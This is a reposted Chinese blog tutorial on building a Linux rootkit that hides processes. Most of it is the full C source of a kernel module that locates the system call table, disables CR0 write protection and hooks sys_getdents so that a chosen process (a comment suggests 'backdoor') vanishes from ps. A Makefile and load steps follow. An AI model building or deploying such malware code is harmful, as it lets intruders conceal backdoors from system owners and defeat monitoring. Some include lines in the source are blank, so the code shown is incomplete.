rootkit:实现隐藏进程

实现隐藏进程一般有两个方法:

1,把要隐藏的进程PID设置为0,因为系统默认是不显示PID为0的进程。

2,修改系统调用sys_getdents()。

     Linux系统中用来查询文件信息的系统调用是sys_getdents,这一点可以通过strace来观察到,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls是通过getdents系统调用来操作的,对应于内核里的sys_getedents来执行。当查询文件或者目录的相关信息时,Linux系统用 sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信 息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:
int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数

下面是具体的实现代码:

hidep.c

  1 /*
  2   进程隐藏程序
  3 */
  4 #include 
  5 #include 
  6 #include 
  7 #include 
  8 #include 
  9 #include //目录文件结构
 10 #include string.h>
 11 #include 
 12 #include 
 13 #include 
 14 #include 
 15 #include 
 18 #define CALLOFF 100
 19 int orig_cr0;
 20 char psname[10]="just";//需要隐藏的进程名
 21 //char psname[10]="backdoor";
 22 char *processname=psname;
 23 
 24 //module_param(processname, charp, 0);
 25 struct {
 26     unsigned short limit;
 27     unsigned int base;
 28 } __attribute__ ((packed)) idtr;//__attribute__ ((packed))不需要内存对齐的优化
 29 
 30 struct {
 31     unsigned short off1;
 32     unsigned short sel;
 33     unsigned char none,flags;
 34     unsigned short off2;
 35 } __attribute__ ((packed)) * idt;
 36 
 37 struct linux_dirent{//文件结构体
 38     unsigned long     d_ino;//索引节点号
 39     unsigned long     d_off;//在目录文件中的偏移
 40     unsigned short    d_reclen;//文件名长
 41     char    d_name[1];//文件名
 42 };
 43 
 44 void** sys_call_table;
 45 
 46 unsigned int clear_and_return_cr0(void)//设置CR0,取消写保护位,因为在较新的内核中,sys_call_table的内存是只读的,
 47 //所以要修改系统调用表就必须设置CR0
 48 {
 49     unsigned int cr0 = 0;
 50     unsigned int ret;
 51 
 52     asm volatile ("movl %%cr0, %%eax"
 53             : "=a"(cr0)//eax到cr0
 54          );
 55     ret = cr0;//
 56 
 57     /*clear the 16th bit of CR0,*/
 58     cr0 &= 0xfffeffff;//设置CR0,第16位,WP(Write Protect),它控制是否允许处理器向标志为只读属性的内存页写入数据,
 59     //0时表示禁用写保护功能
 60     asm volatile ("movl %%eax, %%cr0"
 61             :
 62             : "a"(cr0)//输入,cr0到eax,eax到cr0
 63          );
 64     return ret;
 65 }
 66 
 67 void setback_cr0(unsigned int val)
 68 {
 69     asm volatile ("movl %%eax, %%cr0"
 70             :
 71             : "a"(val)//val值给eax,eax的值给CR0,恢复写保护位
 72          );
 73 }
 74 
 75 
 76 asmlinkage long (*orig_getdents)(unsigned int fd,
 77                     struct linux_dirent __user *dirp, unsigned int count);
 78 
 79 char * findoffset(char *start)//遍历sys_call代码,查找sys_call_table的地址
 80 {  //也可以通过cat /boot/System.map-`uname -r` |grep sys_call_table  查看当前sys_call_table地址
 81     char *p;
 82     for (p = start; p < start + CALLOFF; p++)
 83     if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')//寻找call指令
 84         return p;
 85     return NULL;
 86 }
 87 
 88 int myatoi(char *str)//字符串转整型
 89 {
 90     int res = 0;
 91     int mul = 1;
 92     char *ptr;
 93     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
 94     {
 95         if (*ptr < '0' || *ptr > '9')
 96             return (-1);
 97         res += (*ptr - '0') * mul;
 98         mul *= 10;
 99     }
100     if(res>0 && res< 9999)
101         printk(KERN_INFO "pid=%d,",res);
102     printk("\n");
103     return (res);
104 }
105 
106 struct task_struct *get_task(pid_t pid)//遍历进程双向循环链表,根据PID,查找需要隐藏的进程,并返回该进程控制块
107 {
108     struct task_struct *p = get_current(),*entry=NULL;
109     list_for_each_entry(entry,&(p->tasks),tasks)
110     {
111         if(entry->pid == pid)
112         {
113             printk("pid found=%d\n",entry->pid);
114             return entry;
115         }
116         else
117         {
118     //    printk(KERN_INFO "pid=%d not found\n",pid);
119         }
120     }
121     return NULL;
122 }
123 
124 static inline char *get_name(struct task_struct *p, char *buf)//获取进程名
125 {
126     int i;
127     char *name;
128     name = p->comm;
129     i = sizeof(p->comm);
130     do {
131         unsigned char c = *name;
132         name++;
133         i--;
134         *buf = c;
135         if (!c)
136             break;
137         if (c == '\\') {
138             buf[1] = c;
139             buf += 2;
140             continue;
141         }
142         if (c == '\n')
143         {
144             buf[0] = '\\';
145             buf[1] = 'n';
146             buf += 2;
147             continue;
148         }
149         buf++;
150     }
151     while (i);
152     *buf = '\n';
153     return buf + 1;
154 }
155 
156 int get_process(pid_t pid)//判断是否找到隐藏进程
157 {
158     struct task_struct *task = get_task(pid);
159     //    char *buffer[64] = {0};
160     char buffer[64];
161     if (task)
162     {
163         get_name(task, buffer);
164     //    if(pid>0 && pid<9999)
165     //    printk(KERN_INFO "task name=%s\n",*buffer);
166         if(strstr(buffer,processname))
167             return 1;
168         else
169             return 0;
170     }
171     else
172         return 0;
173 }
174 
175 asmlinkage long hacked_getdents(unsigned int fd,
176                     struct linux_dirent __user *dirp, unsigned int count)//修改的系统调用,替换原来的sys_getdents
177 {
178     //added by lsc for process
179     long value;
180     //    struct inode *dinode;
181     unsigned short len = 0;
182     unsigned short tlen = 0;
183 //    struct linux_dirent *mydir = NULL;
184 //end
185     value = (*orig_getdents) (fd, dirp, count);//调用sys_getdents,返回该目录文件下目录的总字节数
186     tlen = value;
187     while(tlen > 0)
188     {
189         len = dirp->d_reclen;//当前遍历的目录的长度
190         tlen = tlen - len;
191         printk("%s\n",dirp->d_name);
192 
193         if(get_process(myatoi(dirp->d_name)) )
194         {
195             printk("find process\n");
196             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);//覆盖掉需要隐藏的进程
197             value = value - len;
198             printk(KERN_INFO "hide successful.\n");
199         }
200         if(tlen)
201             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//移到后面一个目录,继续查找是否有其他同名的需要隐藏的进程
202     }
203     printk(KERN_INFO "finished hacked_getdents.\n");
204     return value;
205 }
206 
207 
208 void **get_sct_addr(void)
209 {
210     unsigned sys_call_off;
211     unsigned sct = 0;
212     char *p;
213     asm("sidt %0":"=m"(idtr));//获取中断描述符表地址
214     idt = (void *) (idtr.base + 8 * 0x80);//通过0x80中断找到system_call的服务例程描述符项,一个中断描述符8个字节
215     sys_call_off = (idt->off2 << 16) | idt->off1;//找到对应的system_call代码地址
216     if ((p = findoffset((char *) sys_call_off)))//找到sys_call_table的地址
217         sct = *(unsigned *) (p + 3);
218     return ((void **)sct);
219 }
220 
221 
222 static int filter_init(void)
223 {
224     sys_call_table = get_sct_addr();
225     if (!sys_call_table)
226     {
227         printk("get_act_addr(): NULL...\n");
228         return 0;
229     }
230     else
231         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
232     orig_getdents = sys_call_table[__NR_getdents];//保存原来的系统调用
233 
234     orig_cr0 = clear_and_return_cr0();//取消写保护位,并且返回原来的cr0
235     sys_call_table[__NR_getdents] = hacked_getdents;//替换成我们自己写的系统调用
236     setback_cr0(orig_cr0);
237     printk(KERN_INFO "hideps: module loaded.\n");
238                 return 0;
239 }
240 
241 
242 static void filter_exit(void)
243 {
244     orig_cr0 = clear_and_return_cr0();
245     if (sys_call_table)
246     sys_call_table[__NR_getdents] = orig_getdents;//恢复默认的系统调用
247     setback_cr0(orig_cr0);
248     printk(KERN_INFO "hideps: module removed\n");
249 }
250 module_init(filter_init);
251 module_exit(filter_exit);
252 MODULE_LICENSE("GPL");

对应的makefile:

1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
2 PWD:=$(shell pwd)
3 obj-m :=hidep.o
4 modules:
5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
6 clean:
7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

对应的测试程序,即要隐藏的进程: just.c

1 #include
2 int main()
3 {
4     while(1);
5     return 0;
6 }

1,编译并在后台运行程序 just.c,会发现内核给just.c随机分配了一个PID

2,此时 用ps 命令,可以清楚看到 程序just的PID。

2,编译hidep.c 生成模块hide.ko

3,把模块hide.ko,用命令 insmod 加载进内核

4,再次 用 ps 命令,发现之前的PID被隐藏

5,最后不要忘了rmmod掉hidep.ko,当然重启后内核也会把它丢了,不过最好养成不用就卸载掉的习惯。

 

 

转载于:https://www.cnblogs.com/justcxtoworld/archive/2013/05/01/3053508.html

你可能感兴趣的:(rootkit:实现隐藏进程)